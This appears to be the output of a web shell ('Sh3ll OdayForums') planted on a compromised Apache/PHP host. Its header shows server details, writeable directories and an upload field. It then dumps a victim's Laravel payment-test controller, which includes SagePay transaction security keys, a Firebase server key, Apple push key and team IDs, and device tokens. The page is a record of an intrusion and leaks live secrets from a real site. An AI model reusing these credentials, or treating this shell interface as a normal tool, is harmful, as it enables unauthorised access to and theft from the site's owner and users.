Sh3ll
OdayForums


Server : Apache
System : Linux 145.162.205.92.host.secureserver.net 5.14.0-611.45.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Apr 1 05:56:53 EDT 2026 x86_64
User : tradze ( 1001)
PHP Version : 8.1.34
Disable Function : NONE
Directory :  /home/tradze/public_html/app/Http/Controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/tradze/public_html/app/Http/Controllers/SagepayTestController.php
<?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;

use App\Http\Requests;
use Omnipay\Common\CreditCard;
use Omnipay\Omnipay;
use Google\Client;

class SagepayTestController extends Controller
{

    public function void()
    {

        $gateway = Omnipay::create('SagePay\Direct');
        $gateway->setVendor(env('SAGEPAY_VENDOR_NAME'));
        $gateway->setTestMode(env('SAGEPAY_TEST_MODE'));

        $rawPayload = '{"SecurityKey":"6F1PE6HPBB","TxAuthNo":"19076792","VPSTxId":"{AEFD204E-F8E4-D2EB-AE2B-D43D8740FA77}","VendorTxCode":1539767394}';

        $payload = json_decode($rawPayload,true);


//        $result = $gateway->refund(array(
//            'useAuthenticate' => true,
//
////            'securityKey' => $payload['SecurityKey'],
////            'txAuthNo' => $payload['TxAuthNo'],
////            'vpsTxId' => $payload['VPSTxId'],
////            'vendorTxCode' => $payload['VendorTxCode'],
//            'amount' => 50,
//            'currency' => env('SAGEPAY_CCY'),
//            'description' => 'Massage services cancelled',
//        ))->send();

        $result = $gateway->void(array(
            'useAuthenticate' => false,
            'transactionReference' => $rawPayload,
            'amount' => 50,
            'currency' => env('SAGEPAY_CCY'),
            'description' => 'Massage services cancelled',
        ))->send();


//        $result = $gateway->void([
//            'useAuthenticate' => false,
//            'transactionReference' => $rawPayload,
//            'amount'=>urlencode(50),
//            'description' => urlencode('Massage services cancelled'),
//        ])->send();

        $response = [
            'success'=>$result->isSuccessful(),
            'message'=>(!$result->isSuccessful())?$result->getMessage():trans('schedules::booking.text_successfully_refunded'),
        ];

        return $response;
    }

    public function refund()
    {
        $gateway = Omnipay::create('SagePay\Direct');
        $gateway->setVendor(env('SAGEPAY_VENDOR_NAME'));
        $gateway->setTestMode(env('SAGEPAY_TEST_MODE'));



        $rawPayload = "{\"SecurityKey\":\"7IVZCTDOOC\",\"TxAuthNo\":\"19067713\",\"VPSTxId\":\"{8431AC82-BD71-927E-4F57-2386D5C18DF8}\",\"VendorTxCode\":1539682903}";
//        $rawPayload = "{\"SecurityKey\":\"UWXXVPLUPH\",\"TxAuthNo\":\"19069854\",\"VPSTxId\":\"{F8C1180B-E714-C8AE-04ED-C101D4513446}\",\"VendorTxCode\":1539691814}";
        $payload = json_decode($rawPayload,true);

//        dd($payload);

        $result = $gateway->refund(array(
            'useAuthenticate' => false,
            'transactionReference' => $rawPayload,
            'transactionId' => $payload['VendorTxCode'].'-Refund',
            'amount' => 50,
            'currency' => env('SAGEPAY_CCY'),
            'description' => 'Massage services cancelled',
        ))->send();

        $response = [
            'success'=>$result->isSuccessful(),
            'message'=>(!$result->isSuccessful())?$result->getMessage():trans('schedules::booking.text_successfully_refunded'),
            'data' => $result->getData(),
            'result'=>$result,
        ];

        return $response;

        dd([
            'raw'=>$rawPayload,
            'decoded' => json_decode($rawPayload,true),
        ]);

    }

    /**
     * Direct Purchase
     * @return \Illuminate\Http\RedirectResponse|\Illuminate\Routing\Redirector
     */
    public function direct_purchase()
    {
        $gateway = Omnipay::create('SagePay\Direct');
        $gateway->setVendor(env('SAGEPAY_VENDOR_NAME'));
        $gateway->setTestMode(env('SAGEPAY_TEST_MODE'));

        $card = new CreditCard([
            'firstName' => 'Mihai',
            'lastName' => 'Constantinescu',
            'number' => '4462000000000003',
            'expiryMonth' => '6',
            'expiryYear' => '2030',
            'cvv' => '123',

            //billing
            'billingAddress1' => '88',
            'billingCity' => 'London',
            'billingPostcode' => '412',
            'billingCountry' => 'GB',
            'billingPhone' => '040740151061',

            //shipping
            'shippingAddress1' => '2 Hallswelle Parade Finchley Road',
//            'shippingState' => 'London',
            'shippingCity' => 'London',
            'shippingPostcode' => 'NW11 0DL',
            'shippingCountry' => 'GB',
//            'shippingPhone' => '040740151061',
        ]);

        $response = $gateway->purchase(array(
            'amount' => '1',
            'currency' => 'GBP',
            'card' => $card,
            'notifyUrl' => url('sagepay-process'),
            'redirectUrl' => url('sagepay-process'),
            'transactionId' => time(),
            'description' => 'Massage Services - 1 hour test',
            'billingCountry' => 'GB',
        ))->send();

        if ($response->isSuccessful()) {

            dd([
                'code'=>$response->getCode(),
                'message'=>$response->getMessage(),
                'transaction_reference'=>$response->getTransactionReference(),
                'full_responde' => $response->getData(),
            ]);
        }
        elseif ($response->isRedirect()){
            return redirect($response->redirect());
        }
        else{
            dd([
                'code'=>$response->getCode(),
                'message'=>$response->getMessage(),
                'full_responde' => $response->getData(),
            ]);
        }
        
    }

    /**
     * Server Purchase
     * @return \Illuminate\Http\RedirectResponse|\Illuminate\Routing\Redirector
     */
    public function server_purchase()
    {
        $gateway = Omnipay::create('SagePay\Server');
        $gateway->setVendor(env('SAGEPAY_VENDOR_NAME'));
        $gateway->setTestMode(env('SAGEPAY_TEST_MODE'));

        $card = new CreditCard([
            'firstName' => 'Mihai',
            'lastName' => 'Constantinescu',
            'number' => '4462000000000003',
            'expiryMonth' => '6',
            'expiryYear' => '2030',
            'cvv' => '123',

            //billing
            'billingAddress1' => '88',
            'billingCity' => 'London',
            'billingPostcode' => '412',
            'billingCountry' => 'GB',
            'billingPhone' => '040740151061',

            //shipping
            'shippingAddress1' => '2 Hallswelle Parade Finchley Road',
            'shippingState' => 'London',
            'shippingCity' => 'London',
            'shippingPostcode' => 'NW11 0DL',
            'shippingCountry' => 'GB',
            'shippingPhone' => '040740151061',
        ]);

        $response = $gateway->purchase(array(
            'amount' => '1',
            'currency' => 'GBP',
            'card' => $card,
            'notifyUrl' => url('sagepay-process'),
            'redirectUrl' => url('sagepay-process'),
            'transactionId' => time(),
            'description' => 'Massage Services - 1 hour test',
            'billingCountry' => 'GB',
        ))->send();

        if ($response->isSuccessful()) {

            dd([
                'code'=>$response->getCode(),
                'message'=>$response->getMessage(),
                'transaction_reference'=>$response->getTransactionReference(),
                'full_responde' => $response->getData(),
            ]);
        }
        elseif ($response->isRedirect()){
            return redirect($response->redirect());
        }
        else{
            dd([
                'code'=>$response->getCode(),
                'message'=>$response->getMessage(),
                'full_responde' => $response->getData(),
            ]);
        }

    }

    /**
     * Create card
     */
    public function create_card()
    {
        $gateway = Omnipay::create('SagePay\Direct');
        $gateway->setVendor(env('SAGEPAY_VENDOR_NAME'));
        $gateway->setTestMode(env('SAGEPAY_TEST_MODE'));

        //card object
        $card = new CreditCard([
            'firstName' => 'Mihai',
            'lastName' => 'Constantinescu',
            'number' => '4462000000000003',
            'expiryMonth' => '6',
            'expiryYear' => '2030',
            'cvv' => '123',

            //billing
            'billingAddress1' => '88',
            'billingCity' => 'London',
            'billingPostcode' => '412',
            'billingCountry' => 'GB',
            'billingPhone' => '040740151061',

            //shipping
            'shippingAddress1' => '2 Hallswelle Parade Finchley Road',
            'shippingState' => 'London',
            'shippingCity' => 'London',
            'shippingPostcode' => '412',
            'shippingCountry' => 'GB',
            'shippingPhone' => '040740151061',
        ]);

        //store card on server
        $request = $gateway->createCard([
            'currency' => 'GBP',
            'card' => $card,
        ]);
        $response = $request->send();


        if ($response->isSuccessful()) {
            $cardReference = $response->getCardReference();
            // or if you prefer to treat it as a single-use token:
            $token = $response->getToken();

            dd([
                'code'=>$response->getCode(),
                'message'=>$response->getMessage(),
                'cardReference'=>$cardReference,
                'token'=>$token,
                'full_responde' => $response->getData(),
            ]);
        }
        else{
            dd([
                'code'=>$response->getCode(),
                'message'=>$response->getMessage(),
                'full_responde' => $response->getData(),
            ]);
        }
    }

    /**
     * Process purchase response
     * @param Request $request
     */
    public function process_response(Request $request)
    {
        dd([
            'message'=>'SagePay response',
            'input' => $request->input,
        ]);
    }

    public function pushnoti($token= 'eFRnElvJrEeUmZ-I3lwaEu:APA91bFiVMEcvWNwLglfouwfFbLPZouOVgbnd_G97w5TrMWym8yKys9VeOaG6bkorFwsi3xqfD03x5KhIcEFMdmomDBafoKdJ1ZHuFloJDa8t2hdlvXqDqY', $message="Tradze Test", $type = '', $title = 'Tradze') {
        // $deviceToken = $token;
//         $deviceToken = $token;
//         $passphrase = 'download';
//         $url = 'abc';

//         if (!$message || !$url)
//             exit('Example Usage: $php newspush.php \'Breaking News!\' \'https://raywenderlich.com\'' . "\n");

// ////////////////////////////////////////////////////////////////////////////////

//         $ctx = stream_context_create();
//         stream_context_set_option($ctx, 'ssl', 'local_cert', '/home/appzenlondon/public_html/testt/public/pushcert_zenlondon.pem');
//         stream_context_set_option($ctx, 'ssl', '', $passphrase);
//         stream_context_set_option($ctx, 'ssl', 'verify_peer', false);


// // Open a connection to the APNS server
//         $fp = stream_socket_client('ssl://gateway.push.apple.com:2195', $err, $errstr, 60, STREAM_CLIENT_CONNECT | STREAM_CLIENT_PERSISTENT, $ctx);

//         if (!$fp)
//             exit("Failed to connect: $err $errstr" . PHP_EOL);



//         $body['aps'] = array(
//             'alert' => array('body' => $message, 'title' => $title),
//             'sound' => 'default',
//         );
//         $body['type'] = $type;
//         $payload = json_encode($body);
//         $msg = chr(0) . pack('n', 32) . pack('H*', $deviceToken) . pack('n', strlen($payload)) . $payload;

//         $result = fwrite($fp, $msg, strlen($msg));

//         fclose($fp);
//         print_r($result);
//         if (!$result)
//             return "error";
//         else
//             return "Sent";

        ///Nrew------------------------------------------
        // $keyfile = public_path('AuthKey_4YGC8MX7B4.p8');               # <- Your AuthKey file
        // $keyid = '4YGC8MX7B4';                            # <- Your Key ID
        // $teamid = 'M79U55JY3R';                           # <- Your Team ID (see Developer Portal)
        // $bundleid = 'ro.concept24.ZenLondonMassage';                # <- Your Bundle ID
        // $url = 'https://api.push.apple.com';  # <- development url, or use http://api.push.apple.com for production environment
        // $token = '717ccb540bfe6224ad14d50eb4cdd39c7bab35869127abb4b826514507267cb5';              # <- Device Token

        // $body['aps'] = array(
        //     'alert' => array('body' => $message, 'title' => $title),
        //     'sound' => 'default',
        // );
        // $body['type'] = $type;
        // $payload = json_encode($body);
        // $message = $payload;

        // $key = openssl_pkey_get_private('file://'.$keyfile);

        // $header = ['alg'=>'ES256','kid'=>$keyid];
        // $claims = ['iss'=>$teamid,'iat'=>time()];

        // $header_encoded =$this->base64($header);
        // $claims_encoded = $this->base64($claims);

        // $signature = '';
        // openssl_sign($header_encoded . '.' . $claims_encoded, $signature, $key, 'sha256');
        // $jwt = $header_encoded . '.' . $claims_encoded . '.' . base64_encode($signature);

        // // only needed for PHP prior to 5.5.24
        // if (!defined('CURL_HTTP_VERSION_2_0')) {
        //     define('CURL_HTTP_VERSION_2_0', 3);
        // }

        // $http2ch = curl_init();
        // curl_setopt_array($http2ch, array(
        //     CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_2_0,
        //     CURLOPT_URL => "$url/3/device/$token",
        //     CURLOPT_PORT => 443,
        //     CURLOPT_HTTPHEADER => array(
        //         "apns-topic: {$bundleid}",
        //         "authorization: bearer $jwt"
        //     ),
        //     CURLOPT_POST => TRUE,
        //     CURLOPT_POSTFIELDS => $message,
        //     CURLOPT_RETURNTRANSFER => TRUE,
        //     CURLOPT_TIMEOUT => 30,
        //     CURLOPT_HEADER => 1
        // ));

        // $result = curl_exec($http2ch);
        // if ($result === FALSE) {
        //     throw new Exception("Curl failed: ".curl_error($http2ch));
        // }

        // $status = curl_getinfo($http2ch, CURLINFO_HTTP_CODE);
        // if($status == 200){
        //     return 1;
        // }else{
        //     return 0;
        // }

        /////////////////latest----------------------------------------------
        // $url = 'https://fcm.googleapis.com/fcm/send';
        // $fields = array(
        //     'to' => $token,
        //     'notification' => array("title" => $title, "body" => $message),
        //     'data' => array('type' => $type)
        // );
        // $fields = json_encode($fields);

        // $headers = array(
        //     'Authorization: Bearer key=AAAAmaLisgY:APA91bG7U9trDAgO-Yc6e0j1_JHnL_wOifyQQK188Nipm5W1lqKaeDME8FdTyyHmHhgCwV3vpPnkJaQDvJ5dSKlpd4hsvxnzN1DUXIAk2jAJx4QlVTNnMoP0pe9UT2juhN-DGdS7vzFs12',
        //     'Content-Type: application/json'
        // );

        // $ch = curl_init();
        // curl_setopt($ch, CURLOPT_URL, $url);
        // curl_setopt($ch, CURLOPT_POST, true);
        // curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
        // curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        // curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        // curl_setopt($ch, CURLOPT_POSTFIELDS, $fields);
        // $result = curl_exec($ch);
        // $result = json_decode($result, true);
        // curl_close($ch);
        // dd($result);
        // if (isset($result['success']) && 1 === $result['success']) {
        //     return response()->json([
        //         'success'=>true,
        //     ]);
        // }
        // return response()->json([
        //     'success'=>false,
        // ]);
// Set Firebase HTTP v1 API URL
    // $url = 'https://fcm.googleapis.com/v1/projects/zen-london/messages:send';
    $url = 'https://fcm.googleapis.com/v1/projects/trade-10f11/messages:send';

    // Path to your service account key file
    // $serviceAccountKeyPath = public_path('zen-london-firebase.json');
    $serviceAccountKeyPath = public_path('tradez-firebase.json');

    // Initialize Google Client
    // $client = new Client();
    // $client->setAuthConfig($serviceAccountKeyPath);
    // $client->addScope('https://www.googleapis.com/auth/firebase.messaging');


    // // Get the Bearer token
    // $accessToken = $client->fetchAccessTokenWithAssertion()["access_token"];

    $accessToken = $this->getAccessToken($serviceAccountKeyPath);


    // Prepare the payload
    $fields = [
        'message' => [
            'token' => $token,
            'notification' => [
                'title' => $title,
                'body' => $message,
            ],
            'data' => [
                'type' => $type,
            ],
        ],
    ];

    $fields = json_encode($fields);

    // Set headers
    $headers = [
        "Authorization: Bearer $accessToken",
        'Content-Type: application/json',
    ];

    // Initialize cURL
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $fields);

    // Execute the request
    $result = curl_exec($ch);

    if (curl_errno($ch)) {
        echo 'Error:' . curl_error($ch);
    }

    curl_close($ch);

    // Decode and return the result
    $result = json_decode($result, true);
    return $result;
    }


    function base64($data) {
            return rtrim(strtr(base64_encode(json_encode($data)), '+/', '-_'), '=');
          }


    function getAccessToken($serviceAccountKeyPath) {
    // Read the service account key file
    $key = json_decode(file_get_contents($serviceAccountKeyPath), true);

    // Prepare the JWT header and payload
    $header = base64_encode(json_encode([
        'alg' => 'RS256',
        'typ' => 'JWT',
    ]));

    $now = time();
    $claimSet = [
        'iss' => $key['client_email'],   // Service account email
        'scope' => 'https://www.googleapis.com/auth/firebase.messaging',
        'aud' => 'https://oauth2.googleapis.com/token',
        'exp' => $now + 3600,            // Expiry time in seconds
        'iat' => $now,
    ];
    $claimSetEncoded = base64_encode(json_encode($claimSet));

    // The private key used for signing the JWT
    $privateKey = $key['private_key'];

    // Create the JWT
    $jwt = $header . '.' . $claimSetEncoded;

    // Sign the JWT with the private key using RSA
    $signature = '';

    if (!openssl_sign($jwt, $signature, $privateKey, OPENSSL_ALGO_SHA256)) {
        die('Error signing the JWT');
    }

    $signatureEncoded = base64_encode($signature);

    // Complete JWT
    $signedJwt = $jwt . '.' . $signatureEncoded;

    // Make a request to Google's OAuth2 token endpoint
    $url = 'https://oauth2.googleapis.com/token';
    $data = [
        'grant_type' => 'urn:ietf:params:oauth:grant-type:jwt-bearer',
        'assertion' => $signedJwt,
    ];

    // Use cURL to get the access token
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    $result = curl_exec($ch);
    curl_close($ch);

    $resultData = json_decode($result, true);

    // Return the access token
    return $resultData['access_token'];
}

}

ZeroDay Forums Mini